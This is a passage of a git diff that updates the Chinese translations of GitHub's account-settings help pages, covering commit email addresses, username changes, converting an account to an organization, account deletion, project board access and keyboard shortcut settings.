+您也可以选择阻止从命令行推送的提交显示您的个人电子邮件地址。 更多信息请参阅“[阻止推送的命令行显示您的个人电子邮件地址](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)”。{% endif %}
 
-To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %}
+To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}更多信息请参阅“[添加电子邮件地址到 {% data variables.product.prodname_dotcom %} 帐户](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)”。{% endif %}
 
 {% ifversion fpt or ghec %}
 
@@ -54,9 +55,9 @@ To ensure that commits are attributed to you and appear in your contributions gr
 
 {% endnote %}
 
-If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %}
+If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. 更多信息请参阅“[更改 {% data variables.product.prodname_dotcom %} 用户名](/articles/changing-your-github-username)”。{% endif %}
 
-## Setting your commit email address on {% data variables.product.prodname_dotcom %}
+## 在 {% data variables.product.prodname_dotcom %} 上设置提交电子邮件地址
 
 {% data reusables.files.commit-author-email-options %}
 
@@ -66,11 +67,11 @@ If you use your `noreply` email address for {% data variables.product.product_na
 {% data reusables.user_settings.select_primary_email %}{% ifversion fpt or ghec %}
 {% data reusables.user_settings.keeping_your_email_address_private %}{% endif %}
 
-## Setting your commit email address in Git
+## 在 Git 中设置您的提交电子邮件地址
 
-You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address.
+您可以使用 `git config` 命令更改与 Git 提交关联的电子邮件地址。 您设置的新电子邮件地址将在从命令行推送到 {% data variables.product.product_location %} 的任何未来提交中显示。 在您更改提交电子邮件地址之前进行的任何提交仍与之前的电子邮件地址关联。
 
-### Setting your email address for every repository on your computer
+### 为计算机上的每个仓库设置电子邮件地址
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 2. {% data reusables.user_settings.set_your_email_address_in_git %}
@@ -84,14 +85,14 @@ You can use the `git config` command to change the email address you associate w
    ```
 4. {% data reusables.user_settings.link_email_with_your_account %}
 
-### Setting your email address for a single repository
+### 为一个仓库设置电子邮件地址
 
 {% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.product_location %}.
 
-You can change the email address associated with commits you make in a single repository. This will override your global Git config settings in this one repository, but will not affect any other repositories.
+您可以更改与您在一个仓库中所进行的提交关联的电子邮件地址。 此操作将覆盖这一个仓库中的全局 Git 配置设置，但不会影响任何其他仓库。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits.
+2. 将当前工作目录更改为您想要在其中配置与 Git 提交关联的电子邮件地址的本地仓库。
 3. {% data reusables.user_settings.set_your_email_address_in_git %}
    ```shell
    $ git config user.email "<em>email@example.com</em>"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
index f03142d93f..3e76c68755 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
@@ -1,5 +1,5 @@
 ---
-title: Changing your GitHub username
+title: 更改 GitHub 用户名
 intro: 'You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %} if your instance uses built-in authentication{% endif %}.'
 redirect_from:
   - /articles/how-to-change-your-username
@@ -15,7 +15,7 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Change your username
+shortTitle: 更改用户名
 ---
 
 {% ifversion ghec or ghes %}
@@ -24,7 +24,7 @@ shortTitle: Change your username
 
 {% ifversion ghec %}
 
-**Note**: Members of an {% data variables.product.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your username for {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+**Note**: Members of an {% data variables.product.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your username for {% data variables.product.product_name %}. 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
 
 {% elsif ghes %}
 
@@ -36,57 +36,53 @@ shortTitle: Change your username
 
 {% endif %}
 
-## About username changes
+## 关于用户名更改
 
 You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available.
 
-If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page. 
+If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page.
 
-If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see "[Changing your username](#changing-your-username)."{% endif %}
+If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} 无法为您释放不可用的用户名。 更多信息请参阅“[更改用户名](#changing-your-username)”。{% endif %}
 
-After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect.
+更改用户名后，您的旧用户名即可供其他人申请使用。 对旧用户名下仓库的大多数引用会自动更改为新用户名。 不过，指向您个人资料的某些链接不会自动重定向。
 
-{% data variables.product.product_name %} cannot set up redirects for:
-- [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) using your old username
-- Links to [gists](/articles/creating-gists) that include your old username
+{% data variables.product.product_name %} 无法为以下各项设置重定向：
+- 使用旧用户名的[@提及](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+- 包含旧用户名的 [gists](/articles/creating-gists) 链接
 
-{% ifversion fpt or ghec %} 
+{% ifversion fpt or ghec %}
 
 If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% endif %}
 
-## Repository references
+## 仓库引用
 
-After you change your username, {% data variables.product.product_name %} will automatically redirect references to your repositories.
-- Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change.
-- Command line pushes from your local repository clones to the old remote tracking URLs will continue to work.
+您更改用户名后，{% data variables.product.product_name %} 自动将引用重定向到您的仓库。
+- 指向现有仓库的 Web 链接仍然有效。 进行更改后，可能需要几分钟时间才能完成。
+- 从本地仓库克隆推送到旧的远程跟踪 URL 的命令行仍然有效。
 
-If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+如果旧用户名的新所有者创建与您的仓库同名的仓库，则会覆盖重定向条目，并且您的重定向将停止工作。 由于这种可能性，我们建议您在更改用户名后更新所有现有的远程仓库 URL。 更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。
 
-## Links to your previous profile page
+## 指向以前的个人资料页面的链接
 
-After changing your username, links to your previous profile page, such as `https://{% data variables.command_line.backticks %}/previoususername`, will return a 404 error. We recommend updating any links to your account on {% data variables.product.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
+更改用户名后，指向以前的个人资料页面的链接（例如 `https://{% data variables.command_line.backticks %}/previoususername`）将返回 404 错误。 We recommend updating any links to your account on {% data variables.product.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
 
-## Your Git commits
+## 您的 Git 提交
 
-{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. 有关设置电子邮件地址的更多详细信息，请参阅“[设置您的提交电子邮件地址](/articles/setting-your-commit-email-address)”。
 
-## Changing your username
+## 更改用户名
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. In the "Change username" section, click **Change username**.
-   ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
-4. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**.
-   ![Change Username warning button](/assets/images/help/settings/settings-change-username-warning-button.png)
-5. Type a new username.
-   ![New username field](/assets/images/help/settings/settings-change-username-enter-new-username.png)
-6. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see.
-   ![Change Username warning button](/assets/images/help/settings/settings-change-my-username-button.png)
+3. 在“Change username（更改用户名）”部分，单击 **Change username（更改用户名）**。 ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
+4. 阅读有关更改用户名的警告。 如果您仍要更改用户名，请单击 **I understand, let's change my username（我了解，让我们更改用户名）**。 ![更改用户名警告按钮](/assets/images/help/settings/settings-change-username-warning-button.png)
+5. 键入新的用户名。 ![新用户名字段](/assets/images/help/settings/settings-change-username-enter-new-username.png)
+6. 如果您选择的用户名可用，请单击 **Change my username（更改我的用户名）**。 如果您选择的用户名不可用，可以尝试其他用户名或您看到的建议之一。 ![更改用户名警告按钮](/assets/images/help/settings/settings-change-my-username-button.png)
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
 - "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %}
 - "[{% data variables.product.prodname_dotcom %} Username Policy](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %}
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
index 7fececc39d..cf6b078959 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
@@ -1,69 +1,67 @@
 ---
-title: Converting a user into an organization
+title: 将用户转换为组织
 redirect_from:
   - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization
   - /articles/explaining-the-account-transformation-warning
   - /articles/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
-intro: You can convert your user account into an organization. This allows more granular permissions for repositories that belong to the organization.
+intro: 您可以将用户帐户转换为组织。 这样可以对属于组织的仓库设置更细化的权限。
 versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
 topics:
   - Accounts
-shortTitle: User into an organization
+shortTitle: 用户到组织
 ---
+
 {% warning %}
 
-**Warning**: Before converting a user into an organization, keep these points in mind:
+**警告**：在将用户转换为组织之前，请记住以下几点：
 
- - You will **no longer** be able to sign into the converted user account.
- - You will **no longer** be able to create or modify gists owned by the converted user account.
- - An organization **cannot** be converted back to a user.
- - The SSH keys, OAuth tokens, job profile,  reactions, and associated user information, **will not** be transferred to the organization. This is only true for the user account that's being converted, not any of the user account's collaborators.
- - Any commits made with the converted user account **will no longer be linked** to that account. The commits themselves **will** remain intact.
+ - 您将**不再**能够登录被转换的用户帐户。
+ - 您将**不再**能够创建或修改被转换的用户帐户所拥有的 Gist。
+ - **无法**将组织转换回用户。
+ - SSH 密钥、OAuth 令牌、作业档案、 反应、及关联的用户信息**不会**传输到组织。 这只适用于被转换的用户帐户，而不适用于该用户帐户的任何协作者。
+ - 使用被转换用户帐户进行的任何提交**将不再链接**到该帐户。 提交本身**将**保持原状。
  - Any forks of private repositories made with the converted user account will be deleted.
 
 {% endwarning %}
 
-## Keep your personal user account and create a new organization manually
+## 保留个人用户帐户并手动创建新组织
 
-If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal user account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your user account into an organization.
+如果您希望组织的名称与目前用于个人帐户的名称相同，或者要保留个人用户帐户的信息不变，则必须创建一个新组织，然后将您的仓库转让给该组织，而不是将用户帐户转换为组织。
 
-1. To retain your current user account name for your personal use, [change the name of your personal user account](/articles/changing-your-github-username) to something new and wonderful.
-2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal user account.
-3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.
+1. 要保留当前用户帐户的名称供您个人使用，请[将您个人用户帐户的名称更改为](/articles/changing-your-github-username)一个好听的新名称。
+2. [使用个人用户帐户的原名称创建一个新组织](/articles/creating-a-new-organization-from-scratch)。
+3. [将您的仓库转让](/articles/transferring-a-repository)给新组织帐户。
 
-## Convert your personal account into an organization automatically
+## 自动将个人帐户转换为组织
 
-You can also convert your personal user account directly into an organization. Converting your account:
- - Preserves the repositories as they are without the need to transfer them to another account manually
- - Automatically invites collaborators to teams with permissions equivalent to what they had before
- {% ifversion fpt or ghec %}- For user accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %}
+也可以将个人用户帐户直接转换为组织。 转换帐户：
+ - 按原样保留仓库，无需手动将其转让给另一个帐户
+ - 自动邀请协作者加入与他们以前的权限相当的团队
+ {% ifversion fpt or ghec %}-对 {% data variables.product.prodname_pro %} 上的用户帐户，自动将帐单转移到[付费 {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts)，任何时候都无需重新输入付款信息、调整结算周期或双重付费{% endif %}
 
-1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert.
-2.  [Leave any organizations](/articles/removing-yourself-from-an-organization) the user account you're converting has joined.
+1. 创建新的个人帐户，转换后您将用它来登录 GitHub 以及访问组织和仓库。
+2.  [离开](/articles/removing-yourself-from-an-organization)要转换的用户帐户此前加入的任何组织。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-5. Under "Transform account", click **Turn <username> into an organization**.
- 	![Organization conversion button](/assets/images/help/settings/convert-to-organization.png)
-6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article.
- 	![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png)
-7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization.
- 	![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png)
-8. Choose your new organization's subscription and enter your billing information if prompted.
-9. Click **Create Organization**.
-10. Sign in to the new user account you created in step one, then use the context switcher to access your new organization.
+5. 在“Transform account（转换帐户）”下，单击 **Turn <username> into an organization（将 <username> 转换为组织）**。 ![组织转换按钮](/assets/images/help/settings/convert-to-organization.png)
+6. 在 Account Transformation Warning（帐户转换警告）对话框中，查看并确认转换。 请注意，此框中的信息与本文顶部的警告信息相同。 ![转换警告](/assets/images/help/organizations/organization-account-transformation-warning.png)
+7. 在“Transform your user into an organization（将用户转换为组织）”页面的“Choose an organization owner（选择组织所有者）”下，选择您在前面创建的备用个人帐户或您信任的其他用户来管理组织。 ![添加组织所有者页面](/assets/images/help/organizations/organization-add-owner.png)
+8. 选择新组织的订阅，并在提示时输入帐单信息。
+9. 单击 **Create Organization（创建组织）**。
+10. 登录在第一步中创建的新用户帐户，然后使用上下文切换器访问您的新组织。
 
 {% tip %}
 
-**Tip**: When you convert a user account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+**提示**：将用户帐户转换为组织时，我们会将属于该帐户的仓库中的协作者作为*外部协作者*添加到新组织。 然后，您可以根据需要邀请*外部协作者*成为新组织的成员。 For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
 
 {% endtip %}
 
-## Further reading
-- "[Setting up teams](/articles/setting-up-teams)"
-{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %}
-- "[Accessing an organization](/articles/accessing-an-organization)"
+## 延伸阅读
+- "[设置团队](/articles/setting-up-teams)"
+{% ifversion fpt or ghec %}- "[邀请用户加入您的组织](/articles/inviting-users-to-join-your-organization)"{% endif %}
+- “[访问组织](/articles/accessing-an-organization)”
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
index d75e89ba91..f84f91e4ef 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting your user account
-intro: 'You can delete your {% data variables.product.product_name %} user account at any time.'
+title: 删除用户帐户
+intro: '可随时删除 {% data variables.product.product_name %} 用户帐户。'
 redirect_from:
   - /articles/deleting-a-user-account
   - /articles/deleting-your-user-account
@@ -12,40 +12,39 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Delete your user account
+shortTitle: 删除用户帐户
 ---
-Deleting your user account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %} Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted - instead, they'll be associated with our [Ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %}
+
+删除用户帐户会移除帐户所拥有的所有仓库、私有仓库分支、wiki、议题、拉取请求和页面。 {% ifversion fpt or ghec %} 在其他用户拥有的仓库中创建的议题和拉取请求以及所做的评论将不会被删除，而是与我们的[Ghost 用户](https://github.com/ghost)关联。{% else %}在其他用户拥有的仓库中创建的议题和拉取请求以及所做的评论将不会被删除。{% endif %}
 
 {% ifversion fpt or ghec %} When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account on {% data variables.product.product_location %}. After 90 days, the account name also becomes available to anyone else to use on a new account. {% endif %}
 
-If you’re the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your user account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your user account.
+如果您是组织的唯一所有者，则必须先将所有权转让给其他人或删除该组织，然后才能删除您的用户帐户。 如果组织中有其他所有者，则必须先从组织中删除自己，然后才能删除用户帐户。
 
-For more information, see:
-- "[Transferring organization ownership](/articles/transferring-organization-ownership)"
-- "[Deleting an organization account](/articles/deleting-an-organization-account)"
-- "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)"
+更多信息请参阅：
+- “[转让组织所有权](/articles/transferring-organization-ownership)”
+- “[删除组织帐户](/articles/deleting-an-organization-account)”
+- “[从组织中删除自己](/articles/removing-yourself-from-an-organization/)”
 
-## Back up your account data
+## 备份帐户数据
 
-Before you delete your user account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account.
+在删除用户帐户之前，请复制帐户拥有的所有仓库、私有分支、wiki、议题和拉取请求。
 
 {% warning %}
 
-**Warning:** Once your user account has been deleted, GitHub cannot restore your content.
+**警告：**删除用户帐户后，GitHub 无法恢复您的内容。
 
 {% endwarning %}
 
-## Delete your user account
+## 删除用户帐户
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your user account:
-    - If you're the only owner in the organization, you must transfer ownership to another person or delete your organization.
-    - If there are other organization owners in the organization, you must remove yourself from the organization.
-   ![Account deletion button](/assets/images/help/settings/settings-account-delete.png)
-4. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted:
-  ![Delete account confirmation dialog](/assets/images/help/settings/settings-account-deleteconfirm.png)
+3. 在帐户设置页面底部，“Delete account（删除帐户）”下，单击 **Delete your account（删除帐户）**。 然后即可删除用户帐户。
+    - 如果您是组织中的唯一所有者，则必须将所有权转让给其他人或删除您的组织。
+    - 如果组织中有其他组织所有者，则必须将自己从组织中删除。 ![帐户删除按钮](/assets/images/help/settings/settings-account-delete.png)
+4. 在“Make sure you want to do this（确保要执行此操作）”对话框中，完成以下步骤，以确认您了解删除帐户时会发生什么： ![删除帐户确认对话框](/assets/images/help/settings/settings-account-deleteconfirm.png)
   {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted and your billing will end immediately, and your username will be available to anyone for use on {% data variables.product.product_name %} after 90 days.
-  {% else %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use on {% data variables.product.product_name %}.
-  {% endif %}- In the first field, type your {% data variables.product.product_name %} username or email.
-    - In the second field, type the phrase from the prompt.
+  {% else %}- 重新考虑一下，您帐户拥有的所有仓库、私有仓库分支、wiki、议题、提取请求和网页都将被删除，并且任何人将可在 {% data variables.product.product_name %} 上使用您的用户名。
+  {% endif %}- 在第一个字段中，输入您的 {% data variables.product.product_name %} 用户名或电子邮件。
+    - 在第二个字段中，键入提示短语。
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
index 5869a719ec..4f3c64e51b 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing user account settings
-intro: 'You can change several settings for your personal account, including changing your username and deleting your account.'
+title: 管理用户帐户设置
+intro: 您可以更改个人帐户的多项设置，包括更改用户名和删除帐户。
 redirect_from:
   - /categories/29/articles
   - /categories/user-accounts
@@ -30,6 +30,6 @@ children:
   - /integrating-jira-with-your-personal-projects
   - /best-practices-for-leaving-your-company
   - /what-does-the-available-for-hire-checkbox-do
-shortTitle: User account settings
+shortTitle: 用户帐户设置
 ---
 
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
index e41dec9831..f16693eb8d 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your user account's project boards
-intro: 'As a project board owner, you can add or remove a collaborator and customize their permissions to a project board.'
+title: 管理对用户帐户项目板的访问
+intro: 作为项目板所有者，您可以添加或删除协作者，以及自定义他们对项目板的权限。
 redirect_from:
   - /articles/managing-project-boards-in-your-repository-or-organization
   - /articles/managing-access-to-your-user-account-s-project-boards
@@ -14,23 +14,22 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Manage access project boards
+shortTitle: 管理访问项目板
 ---
-A collaborator is a person who has permissions to a project board you own. A collaborator's permissions will default to read access. For more information, see "[Permission levels for user-owned project boards](/articles/permission-levels-for-user-owned-project-boards)."
 
-## Inviting collaborators to a user-owned project board
+协作者是对您拥有的项目板具有访问权限的个人。 协作者的权限默认为读取权限。 更多信息请参阅“[用户项目板的权限级别](/articles/permission-levels-for-user-owned-project-boards)”。
 
-1. Navigate to the project board where you want to add an collaborator.
+## 邀请协作者参加用户拥有的项目板
+
+1. 导航到您要在其中添加协作者的项目板。
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
 {% data reusables.project-management.collaborator-option %}
-5. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email.
-   ![The Collaborators section with the Octocat's username entered in the search field](/assets/images/help/projects/org-project-collaborators-find-name.png)
+5. 在 "Search by username, full name or email address"（按用户名、全名或电子邮件地址搜索）下，输入协作者的姓名、用户名或 {% data variables.product.prodname_dotcom %} 电子邮件地址。 ![在搜索字段中输入了 Octocat 用户名的协作者部分](/assets/images/help/projects/org-project-collaborators-find-name.png)
 {% data reusables.project-management.add-collaborator %}
-7. The new collaborator has read permissions by default. Optionally, next to the new collaborator's name, use the drop-down menu and choose a different permission level.
-  ![The Collaborators section with the Permissions drop-down menu selected](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
+7. 新协作者默认具有读取权限。 在新协作者名称旁边，可以选择使用下拉菜单选择不同的权限级别。 ![选择了权限下拉菜单的协作者部分](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
 
-## Removing a collaborator from a user-owned project board
+## 从用户拥有的项目板删除协作者
 
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
index b79c2b3be4..e3c424a453 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
@@ -2,8 +2,6 @@
 title: Managing accessibility settings
 intro: 'You can disable character key shortcuts on {% data variables.product.prodname_dotcom %} in your accessibility settings.'
 versions:
-  fpt: '*'
-  ghes: '>=3.4'
   feature: keyboard-shortcut-accessibility-setting
 ---
 
@@ -11,12 +9,11 @@ versions:
 
 {% data variables.product.product_name %} includes a variety of keyboard shortcuts so that you can perform actions across the site without using your mouse to navigate. While shortcuts are useful to save time, they can sometimes make {% data variables.product.prodname_dotcom %} harder to use and less accessible.
 
-All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as `control` or `command`.
+All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as <kbd>Control</kbd> or <kbd>Command</kbd>.
 
 ## Managing character key shortcuts
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.accessibility_settings %}
-1. Select or deselect the **Enable character key shortcuts** checkbox. 
-   ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
-2. Click **Save**.
+1. Select or deselect the **Enable character key shortcuts** checkbox. ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
+2. 单击 **Save（保存）**。
